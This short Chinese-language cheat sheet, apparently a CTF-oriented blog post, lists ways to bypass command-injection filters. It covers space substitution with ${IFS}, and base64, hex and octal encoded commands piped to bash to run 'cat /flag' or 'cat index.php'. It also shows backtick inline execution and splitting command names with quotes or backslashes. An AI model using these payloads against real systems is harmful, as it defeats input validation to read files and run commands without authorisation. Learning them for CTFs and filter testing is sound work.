文章

空格绕过

使用${IFS}

${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
$IFS$9:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
$IFS$1
<:>>和>都属于输出重定向,<属于输入重定向。
<>
{,}

关键字绕过

Base64编码绕过:
echo MTIzCg==|base64 -d     //打印123,MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag
echo "bHM="|base64 -d|sh           //将执行ls
​
Hex编码绕过:
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")    执行cat /flag
​
Oct编码绕过:
$(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") 执行cat index.php
$(printf "\154\163")       执行ls
​
内联执行绕过:
echo "a`pwd`"     # 输出a/opt
cat$IFS$9`ls`     # 查看当前目录下的所有的文件内容
​
引号绕过:
ca""t  =>  cat
mo''re  =>  more  
​
反斜杠绕过:
ca\t  =>  cat
mo\re  =>  more  

一个好奇的人